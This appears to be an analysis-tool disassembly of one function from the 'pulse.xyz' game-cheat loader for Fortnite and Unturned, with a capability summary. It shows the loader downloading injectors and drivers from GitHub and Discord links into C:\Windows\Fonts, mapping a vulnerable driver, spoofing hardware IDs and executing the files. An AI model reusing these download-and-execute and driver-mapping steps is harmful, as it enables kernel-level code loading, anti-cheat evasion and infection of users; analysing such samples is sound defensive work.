Function at 0x14010c439
Capabilities:
Download url
Execute command
Receive data
Self delete
Terminate process

Disassembly:
jmp 0x14025f2a0
push rbp
push rdi
mov eax, 0x1538
call fcn.140108cbc
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x3be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14042ed00]
xor rax, rbp
mov qword [rbp + 0x14e0], rax
lea rcx, [0x1404553bf]
call fcn.14010c362
call fcn.1401093a6
movzx eax, al
test eax, eax
je 0x14025f353
call fcn.14010a31e
lea rax, [rbp + 0xcb8]
mov qword [rbp + 0xcf8], rax
lea rdx, str.user_tried_to_debug_loader
mov rcx, qword [rbp + 0xcf8]
call fcn.140109f13
mov qword [rbp + 0x1488], rax
mov rdx, qword [rbp + 0x1488]
lea rcx, [0x140438130]
call fcn.140108e38
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str.__WARNING___DEBUGGER_DETECTED___PULSE_PROTECTION____nYou_have_been_flagged_by_our_anti_crack_software__nYour_HWID__IP_Have_been_permanently_banned_from_our_software__nIt_is_sad_to_see_this_happen__But_it_was_going_to_happen_sometime_soon.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.14010bd09
xorps xmm2, xmm2
xorps xmm1, xmm1
lea rcx, [rbp + 0xd14]
call fcn.14010aaa3
mov qword [rbp + 0x1488], rax
movss xmm2, dword [0x140438554]
movss xmm1, dword [0x140438550]
lea rcx, [rbp + 0xd34]
call fcn.14010aaa3
mov qword [rbp + 0x1490], rax
mov r8, qword [rbp + 0x1488]
mov edx, 2
mov rcx, qword [rbp + 0x1490]
call fcn.14010ae4f
movss xmm2, dword [0x140438564]
movss xmm1, dword [0x140438560]
lea rcx, [rbp + 0xd54]
call fcn.14010aaa3
xor edx, edx
mov rcx, rax
call fcn.140109036
movss xmm0, dword [0x14033e2a8]
call fcn.1401080b9
movzx eax, byte [reloc.WS2_32.dll_accept]
test eax, eax
je 0x14025fcb4
mov r8d, dword [0x14042eb64]
lea rdx, [0x140438570]
mov rcx, qword [str.pulse.xyz_loader]
call fcn.14010b336
lea rcx, [rbp + 0xd94]
call fcn.14010a71f
movss xmm2, dword [0x14033e330]
movss xmm1, dword [rax]
lea rcx, [rbp + 0xd74]
call fcn.14010aaa3
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.Left
call fcn.14010bef3
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e330]
lea rcx, [rbp + 0xdb4]
call fcn.14010aaa3
mov rcx, rax
call fcn.14010b6c9
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e32c]
lea rcx, [rbp + 0xdd4]
call fcn.14010aaa3
mov rdx, rax
lea rcx, [0x1403f03f4]
call fcn.14010975c
movzx eax, al
test eax, eax
je 0x14025f4a6
mov dword [0x1404380d4], 0
call fcn.14010aa76
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e338]
lea rcx, [rbp + 0xdf4]
call fcn.14010aaa3
mov rcx, rax
call fcn.14010b6c9
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e32c]
lea rcx, [rbp + 0xe14]
call fcn.14010aaa3
mov rdx, rax
lea rcx, [0x1403f03f8]
call fcn.14010975c
movzx eax, al
test eax, eax
je 0x14025f50b
mov dword [0x1404380d4], 1
call fcn.14010aa76
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x140353194]
lea rcx, [rbp + 0xe34]
call fcn.14010aaa3
mov rcx, rax
call fcn.14010b6c9
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e32c]
lea rcx, [rbp + 0xe54]
call fcn.14010aaa3
mov rdx, rax
lea rcx, [0x1403f03fc]
call fcn.14010975c
movzx eax, al
test eax, eax
je 0x14025f570
mov dword [0x1404380d4], 2
call fcn.14010aa76
call fcn.14010b890
lea rcx, [rbp + 0xe94]
call fcn.14010a71f
movss xmm0, dword [rax + 4]
movss dword [rbp + 0x1484], xmm0
lea rcx, [rbp + 0xeb4]
call fcn.14010a71f
movss xmm0, dword [rax]
movss dword [rbp + 0x1488], xmm0
movss xmm2, dword [rbp + 0x1484]
movss xmm1, dword [rbp + 0x1488]
lea rcx, [rbp + 0xe74]
call fcn.14010aaa3
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.Right
call fcn.14010bef3
cmp dword [0x1404380d4], 0
jne 0x14025f845
lea rcx, [rbp + 0xed4]
call fcn.14010a71f
movss xmm0, dword [rax]
divss xmm0, dword [0x14033e2cc]
subss xmm0, dword [0x14033e304]
call fcn.14010898d
lea rcx, str.Login
call fcn.14010a670
call fcn.14010afc6
lea rcx, [rbp + 0xef4]
call fcn.14010a71f
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403f14f8]
subsd xmm0, qword [0x140372120]
cvtsd2ss xmm0, xmm0
call fcn.14010898d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x140438571]
lea rdx, str.Username
lea rcx, [0x1403f0428]
call fcn.14010bf3e
call fcn.14010afc6
lea rcx, [rbp + 0xf14]
call fcn.14010a71f
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403f14f8]
subsd xmm0, qword [0x140372120]
cvtsd2ss xmm0, xmm0
call fcn.14010898d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, 0xff
lea r8, [0x140438670]
lea rdx, str.Password
lea rcx, str.password
call fcn.14010bf3e
call fcn.14010afc6
lea rcx, [rbp + 0xf34]
call fcn.14010a71f
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403f14f8]
addsd xmm0, qword [0x1403f1518]
cvtsd2ss xmm0, xmm0
call fcn.14010898d
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e32c]
lea rcx, [rbp + 0xf54]
call fcn.14010aaa3
mov rdx, rax
lea rcx, str.Login
call fcn.14010975c
movzx eax, al
test eax, eax
je 0x14025f845
call fcn.140109dbf
lea rcx, [0x140438130]
call fcn.140108005
lea rax, [rbp + 0xf78]
mov qword [rbp + 0xfb8], rax
lea rdx, [0x140438670]
mov rcx, qword [rbp + 0xfb8]
call fcn.140109f13
mov qword [rbp + 0x1488], rax
mov rax, qword [rbp + 0x1488]
mov qword [rbp + 0x1490], rax
mov rax, qword [rbp + 0x1490]
mov qword [rbp + 0x1498], rax
lea rax, [rbp + 0xfd8]
mov qword [rbp + 0x1018], rax
lea rdx, [0x140438571]
mov rcx, qword [rbp + 0x1018]
call fcn.140109f13
mov qword [rbp + 0x14a0], rax
mov rax, qword [rbp + 0x14a0]
mov qword [rbp + 0x14a8], rax
mov r8, qword [rbp + 0x1498]
mov rdx, qword [rbp + 0x14a8]
lea rcx, [0x140438130]
call fcn.1401099a0
movzx eax, byte [0x140438340]
test eax, eax
jne 0x14025f827
lea rcx, [0x140438348]
call fcn.140108604
xor r9d, r9d
lea r8, str.Authentication_Error___pulse.xyz
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14025f845
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1404380c8], 1
cmp dword [0x1404380d4], 1
jne 0x14025fbd3
lea rcx, [rbp + 0x1034]
call fcn.14010a71f
movss xmm0, dword [rax]
divss xmm0, dword [0x14033e2cc]
subss xmm0, dword [0x14033e314]
call fcn.14010898d
lea rcx, str.Register
call fcn.14010a670
call fcn.14010afc6
lea rcx, [rbp + 0x1054]
call fcn.14010a71f
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403f14f8]
subsd xmm0, qword [0x140372120]
cvtsd2ss xmm0, xmm0
call fcn.14010898d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x140438571]
lea rdx, str.Username
lea rcx, [0x1403f0428]
call fcn.14010bf3e
lea rcx, [rbp + 0x1074]
call fcn.14010a71f
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403f14f8]
subsd xmm0, qword [0x140372120]
cvtsd2ss xmm0, xmm0
call fcn.14010898d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, 0xff
lea r8, [0x140438670]
lea rdx, str.Password
lea rcx, str.password
call fcn.14010bf3e
lea rcx, [rbp + 0x1094]
call fcn.14010a71f
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403f14f8]
subsd xmm0, qword [0x140372120]
cvtsd2ss xmm0, xmm0
call fcn.14010898d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x14043876f]
lea rdx, str.License
lea rcx, str.license
call fcn.14010bf3e
call fcn.14010afc6
lea rcx, [rbp + 0x10b4]
call fcn.14010a71f
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x1403f14f8]
addsd xmm0, qword [0x1403f1518]
cvtsd2ss xmm0, xmm0
call fcn.14010898d
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e32c]
lea rcx, [rbp + 0x10d4]
call fcn.14010aaa3
mov rdx, rax
lea rcx, str.Register
call fcn.14010975c
movzx eax, al
test eax, eax
je 0x14025fbd3
call fcn.14010c191
lea rcx, [0x140438130]
call fcn.140108005
lea rax, [rbp + 0x10f8]
mov qword [rbp + 0x1138], rax
lea rdx, [0x140332828]
mov rcx, qword [rbp + 0x1138]
call fcn.140109f13
mov qword [rbp + 0x1488], rax
mov rax, qword [rbp + 0x1488]
mov qword [rbp + 0x1490], rax
mov rax, qword [rbp + 0x1490]
mov qword [rbp + 0x1498], rax
lea rax, [rbp + 0x1158]
mov qword [rbp + 0x1198], rax
lea rdx, [0x14043876f]
mov rcx, qword [rbp + 0x1198]
call fcn.140109f13
mov qword [rbp + 0x14a0], rax
mov rax, qword [rbp + 0x14a0]
mov qword [rbp + 0x14a8], rax
mov rax, qword [rbp + 0x14a8]
mov qword [rbp + 0x14b0], rax
lea rax, [rbp + 0x11b8]
mov qword [rbp + 0x11f8], rax
lea rdx, [0x140438670]
mov rcx, qword [rbp + 0x11f8]
call fcn.140109f13
mov qword [rbp + 0x14b8], rax
mov rax, qword [rbp + 0x14b8]
mov qword [rbp + 0x14c0], rax
mov rax, qword [rbp + 0x14c0]
mov qword [rbp + 0x14c8], rax
lea rax, [rbp + 0x1218]
mov qword [rbp + 0x1258], rax
lea rdx, [0x140438571]
mov rcx, qword [rbp + 0x1258]
call fcn.140109f13
mov qword [rbp + 0x14d0], rax
mov rax, qword [rbp + 0x14d0]
mov qword [rbp + 0x14d8], rax
mov rax, qword [rbp + 0x1498]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x14b0]
mov r8, qword [rbp + 0x14c8]
mov rdx, qword [rbp + 0x14d8]
lea rcx, [0x140438130]
call fcn.140109770
movzx eax, byte [0x140438340]
test eax, eax
jne 0x14025fb8e
lea rcx, [0x140438348]
call fcn.140108604
xor r9d, r9d
lea r8, str.Authentication_Error___pulse.xyz
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14025fbd3
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
movzx eax, byte [0x1404380c8]
test eax, eax
jne 0x14025fbbc
mov dword [rbp + 0x1484], 1
jmp 0x14025fbc6
mov dword [rbp + 0x1484], 0
movzx eax, byte [rbp + 0x1484]
mov byte [0x1404380c8], al
cmp dword [0x1404380d4], 2
jne 0x14025fcaa
movss xmm0, dword [0x140353148]
call fcn.14010898d
movss xmm0, dword [0x140353148]
call fcn.14010bd68
lea rcx, str.Loader_Version:
call fcn.14010a670
movss xmm1, dword [0x14033e35c]
xorps xmm0, xmm0
call fcn.14010ac1f
movss xmm0, dword [0x14033e2a8]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
movss xmm2, dword [0x14033e2a8]
xorps xmm1, xmm1
lea rcx, [rbp + 0x1274]
call fcn.14010b048
mov rdx, rax
xor ecx, ecx
call fcn.140108c44
lea rcx, str._v1.0
call fcn.14010a670
mov ecx, 1
call fcn.14010b6b0
movss xmm0, dword [0x140353148]
call fcn.14010898d
movss xmm0, dword [0x140353154]
call fcn.14010bd68
lea rcx, str.Last_Loader_Update:_2_24_2024
call fcn.14010a670
movss xmm0, dword [0x140353148]
call fcn.14010898d
movss xmm0, dword [0x1403f1524]
call fcn.14010bd68
lea rcx, str.Created_by_pulse.xyz
call fcn.14010a670
call fcn.14010b890
call fcn.140109e37
movzx eax, byte [0x1404380c8]
test eax, eax
je 0x140260a34
lea rax, str.Fortnite_Public
mov qword [rbp + 8], rax
lea rax, str.Fortnite_Spoofer
mov qword [rbp + 0x10], rax
lea rax, str.Unturned_External
mov qword [rbp + 0x18], rax
mov r8d, dword [0x14042eb64]
lea rdx, [0x140438570]
mov rcx, qword [str.pulse.xyz_loader]
call fcn.14010b336
mov eax, dword [0x14042eb64]
mov dword [rbp + 0x1484], eax
lea rcx, [rbp + 0x12c4]
call fcn.14010a71f
movss xmm0, dword [rax + 4]
movss dword [rbp + 0x1488], xmm0
lea rcx, [rbp + 0x12e4]
call fcn.14010a71f
movss xmm0, dword [rax]
movss dword [rbp + 0x148c], xmm0
movss xmm2, dword [rbp + 0x1488]
movss xmm1, dword [rbp + 0x148c]
lea rcx, [rbp + 0x12a4]
call fcn.14010aaa3
mov qword [rbp + 0x1490], rax
mov r9d, dword [rbp + 0x1484]
mov r8b, 1
mov rdx, qword [rbp + 0x1490]
lea rcx, str.main
call fcn.14010bef3
movsxd rax, dword [0x1404380cc]
mov rdx, qword [rbp + rax*8 + 8]
lea rcx, str.Product:__s
call fcn.14010a670
movss xmm0, dword [0x140353184]
call fcn.14010becb
mov dword [rsp + 0x20], 0xa
mov r9d, 3
lea r8, [rbp + 8]
lea rdx, [0x1404380cc]
lea rcx, str.cheat
call fcn.14010a91d
movss xmm1, dword [0x14033e35c]
xorps xmm0, xmm0
call fcn.14010ac1f
movss xmm0, dword [0x1403f1528]
call fcn.14010898d
movss xmm0, dword [0x140353154]
call fcn.14010bd68
movsxd rax, dword [0x1404380cc]
lea rcx, str.Fortnite_Public
cmp qword [rbp + rax*8 + 8], rcx
jne 0x14025fed0
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x1403f1528]
lea rcx, [rbp + 0x1304]
call fcn.14010aaa3
mov rdx, qword [rax]
lea rcx, str.Status:
call fcn.14010a670
movss xmm1, dword [0x14033e35c]
xorps xmm0, xmm0
call fcn.14010ac1f
movss xmm0, dword [0x14033e2a8]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
movss xmm2, dword [0x14033e2a8]
xorps xmm1, xmm1
lea rcx, [rbp + 0x1324]
call fcn.14010b048
mov rdx, rax
xor ecx, ecx
call fcn.140108c44
lea rcx, str.____Undetected
call fcn.14010a670
mov ecx, 1
call fcn.14010b6b0
movss xmm0, dword [0x1403f1528]
call fcn.14010898d
movss xmm0, dword [0x140353160]
call fcn.14010bd68
movss xmm2, dword [0x14033e328]
movss xmm1, dword [0x140353184]
lea rcx, [rbp + 0x1354]
call fcn.14010aaa3
mov rdx, qword [rax]
lea rcx, str.Last_Update:_2_26_2024
call fcn.14010a670
movsxd rax, dword [0x1404380cc]
lea rcx, str.Fortnite_Spoofer
cmp qword [rbp + rax*8 + 8], rcx
jne 0x14025ffb1
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x1403f1528]
lea rcx, [rbp + 0x1374]
call fcn.14010aaa3
mov rdx, qword [rax]
lea rcx, str.Status:
call fcn.14010a670
movss xmm1, dword [0x14033e35c]
xorps xmm0, xmm0
call fcn.14010ac1f
movss xmm0, dword [0x14033e2a8]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
movss xmm2, dword [0x14033e2a8]
xorps xmm1, xmm1
lea rcx, [rbp + 0x1394]
call fcn.14010b048
mov rdx, rax
xor ecx, ecx
call fcn.140108c44
lea rcx, str.____Undetected
call fcn.14010a670
mov ecx, 1
call fcn.14010b6b0
movss xmm0, dword [0x1403f1528]
call fcn.14010898d
movss xmm0, dword [0x140353160]
call fcn.14010bd68
movss xmm2, dword [0x14033e328]
movss xmm1, dword [0x140353184]
lea rcx, [rbp + 0x13c4]
call fcn.14010aaa3
mov rdx, qword [rax]
lea rcx, str.Last_Update:_2_26_2024
call fcn.14010a670
movsxd rax, dword [0x1404380cc]
lea rcx, str.Unturned_External
cmp qword [rbp + rax*8 + 8], rcx
jne 0x140260092
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x1403f1528]
lea rcx, [rbp + 0x13e4]
call fcn.14010aaa3
mov rdx, qword [rax]
lea rcx, str.Status:
call fcn.14010a670
movss xmm1, dword [0x14033e35c]
xorps xmm0, xmm0
call fcn.14010ac1f
movss xmm0, dword [0x14033e2a8]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
movss xmm2, dword [0x14033e2a8]
xorps xmm1, xmm1
lea rcx, [rbp + 0x1404]
call fcn.14010b048
mov rdx, rax
xor ecx, ecx
call fcn.140108c44
lea rcx, str.____Undetected
call fcn.14010a670
mov ecx, 1
call fcn.14010b6b0
movss xmm0, dword [0x1403f1528]
call fcn.14010898d
movss xmm0, dword [0x140353160]
call fcn.14010bd68
movss xmm2, dword [0x14033e328]
movss xmm1, dword [0x140353184]
lea rcx, [rbp + 0x1434]
call fcn.14010aaa3
mov rdx, qword [rax]
lea rcx, str.Last_Update:_2_27_2024
call fcn.14010a670
movss xmm0, dword [0x1403f1528]
call fcn.14010898d
movss xmm0, dword [0x14035316c]
call fcn.14010bd68
movss xmm2, dword [0x140353154]
movss xmm1, dword [0x14033e330]
lea rcx, [rbp + 0x1454]
call fcn.14010aaa3
mov rdx, rax
lea rcx, str.Load_Cheat
call fcn.14010975c
movzx eax, al
test eax, eax
je 0x1402609da
mov byte [rbp + 0x34], 0
lea rax, [0x140438310]
mov qword [rbp + 0x58], rax
mov rcx, qword [rbp + 0x58]
call fcn.140108af0
mov qword [rbp + 0x78], rax
mov rcx, qword [rbp + 0x58]
call fcn.1401090b8
mov qword [rbp + 0x98], rax
jmp 0x14026011c
mov rax, qword [rbp + 0x78]
add rax, 0x40
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x98]
cmp qword [rbp + 0x78], rax
je 0x1402609b9
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0xb8], rax
movsxd rax, dword [0x1404380cc]
mov rcx, qword [rbp + 0xb8]
mov rdx, qword [rbp + rax*8 + 8]
call fcn.140109b76
movzx eax, al
test eax, eax
je 0x1402609b4
mov rax, qword [rbp + 0xb8]
lea rdx, str.Fortnite_Public
mov rcx, rax
call fcn.140109b76
movzx eax, al
test eax, eax
je 0x14026050a
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str.by_pressing_ok__nthis_will_load___fortnite_public
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.del_C:_Windows_Fonts_injector.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_Fonts_injector_driver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_Fonts_gdrv_mapper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_Fonts_pulse.dll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.https:__github.com_KFEGI4H9_erghw345h4n456whj456j546j56uj567j56jh5yj_raw_main_injector.exe
lea rcx, [rbp + 0xd8]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_injector.exe
lea rcx, [rbp + 0x118]
call fcn.140109f13
nop
lea rcx, [rbp + 0x118]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0xd8]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rdx, str.https:__github.com_KFEGI4H9_erghw345h4n456whj456j546j56uj567j56jh5yj_raw_main_injector.sys
lea rcx, [rbp + 0x158]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_injector_driver.sys
lea rcx, [rbp + 0x198]
call fcn.140109f13
nop
lea rcx, [rbp + 0x198]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x158]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rdx, str.https:__github.com_KFEGI4H9_erghw345h4n456whj456j546j56uj567j56jh5yj_raw_main_pulse.dll
lea rcx, [rbp + 0x1d8]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_pulse.dll
lea rcx, [rbp + 0x218]
call fcn.140109f13
nop
lea rcx, [rbp + 0x218]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x1d8]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rdx, str.https:__cdn.discordapp.com_attachments_1210545518162223134_1211396453864439878_gdrv.exe_ex65ee0bddis65db96ddhm97c97166c5f3c719b604feaafa110bb54962d3cb322ea177d905d979aad95f70
lea rcx, [rbp + 0x258]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_gdrvmapper.exe
lea rcx, [rbp + 0x298]
call fcn.140109f13
nop
lea rcx, [rbp + 0x298]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x258]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rdx, str.https:__cdn.discordapp.com_attachments_1210545518162223134_1211396454212444200_gdrv.sys_ex65ee0bddis65db96ddhmf341cdabdd6f38a53d9536c42e8cb67ceb4158da601e8bd7565365692df1f06e
lea rcx, [rbp + 0x2d8]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_gdrv.sys
lea rcx, [rbp + 0x318]
call fcn.140109f13
lea rcx, [rbp + 0x318]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x2d8]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
mov r9d, Ordinal_41
lea r8, str.pulse.xyz_loader
lea rdx, str.load_drivers___only_once_per_windows_bootup_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 0x354], eax
cmp dword [rbp + 0x354], 6
jne 0x14026045f
lea rcx, str.C:_Windows_Fonts_gdrvmapper.exe_C:_Windows_Fonts_gdrv.sys_C:_Windows_Fonts_injector_driver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str._pulse.xyz__npress_ok_in_the_lobby
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.start_C:_Windows_Fonts_injector.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
jmp 0x140260491
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str._pulse.xyz__npress_ok_in_the_lobby
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.start_C:_Windows_Fonts_injector.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x318]
call fcn.140108cfd
lea rcx, [rbp + 0x2d8]
call fcn.140108cfd
lea rcx, [rbp + 0x298]
call fcn.140108cfd
lea rcx, [rbp + 0x258]
call fcn.140108cfd
lea rcx, [rbp + 0x218]
call fcn.140108cfd
lea rcx, [rbp + 0x1d8]
call fcn.140108cfd
lea rcx, [rbp + 0x198]
call fcn.140108cfd
lea rcx, [rbp + 0x158]
call fcn.140108cfd
lea rcx, [rbp + 0x118]
call fcn.140108cfd
lea rcx, [rbp + 0xd8]
call fcn.140108cfd
nop
mov rax, qword [rbp + 0xb8]
lea rdx, str.Fortnite_Spoofer
mov rcx, rax
call fcn.140109b76
movzx eax, al
test eax, eax
je 0x140260755
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str.by_pressing_ok__nthis_will_load___fortnite_spoofer
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1210727005989904384_1210746246608851034_kdmapper.exe_ex65ebae4fis65d9394fhmc8fcc6065a768c2ed9c219374cfa72cb6b92c800cbb349a981ebe6cf423f5f77
lea rcx, [rbp + 0x378]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_mapper.exe
lea rcx, [rbp + 0x3b8]
call fcn.140109f13
nop
lea rcx, [rbp + 0x3b8]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x378]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rdx, str.https:__cdn.discordapp.com_attachments_1210399157035073599_1211750333408346223_pulse.sys_ex65ef5570is65dce070hmd131c8e599d52ddd5b39fddcd48aa10abba1578375e6006467425763ab046f25
lea rcx, [rbp + 0x3f8]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_pulse.sys
lea rcx, [rbp + 0x438]
call fcn.140109f13
nop
lea rcx, [rbp + 0x438]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x3f8]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rcx, str.C:_Windows_Fonts_mapper.exe_C:_Windows_Fonts_pulse.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str.successfully_spoofer_hardware_serials
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, Ordinal_41
lea r8, str.pulse.xyz_loader
lea rdx, str.show_spoofed_hardware_serials_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 0x474], eax
cmp dword [rbp + 0x474], 6
jne 0x140260718
lea rdx, str.https:__cdn.discordapp.com_attachments_1210727005989904384_1213227765571256377_hwid_checker.bat_ex65f4b567is65e24067hm2992816b76bb4278c1b9d304c197e64466dc43405b43de364ff2dc82bf2b121b
lea rcx, [rbp + 0x498]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_hwid.bat
lea rcx, [rbp + 0x4d8]
call fcn.140109f13
lea rcx, [rbp + 0x4d8]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x498]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rcx, str.start_C:_Windows_Fonts_hwid.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x4d8]
call fcn.140108cfd
lea rcx, [rbp + 0x498]
call fcn.140108cfd
jmp 0x140260724
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x438]
call fcn.140108cfd
lea rcx, [rbp + 0x3f8]
call fcn.140108cfd
lea rcx, [rbp + 0x3b8]
call fcn.140108cfd
lea rcx, [rbp + 0x378]
call fcn.140108cfd
nop
mov rax, qword [rbp + 0xb8]
lea rdx, str.Unturned_External
mov rcx, rax
call fcn.140109b76
movzx eax, al
test eax, eax
je 0x1402609ae
lea rcx, str.del_C:_Windows_Fonts_unturned.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_Fonts_driver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
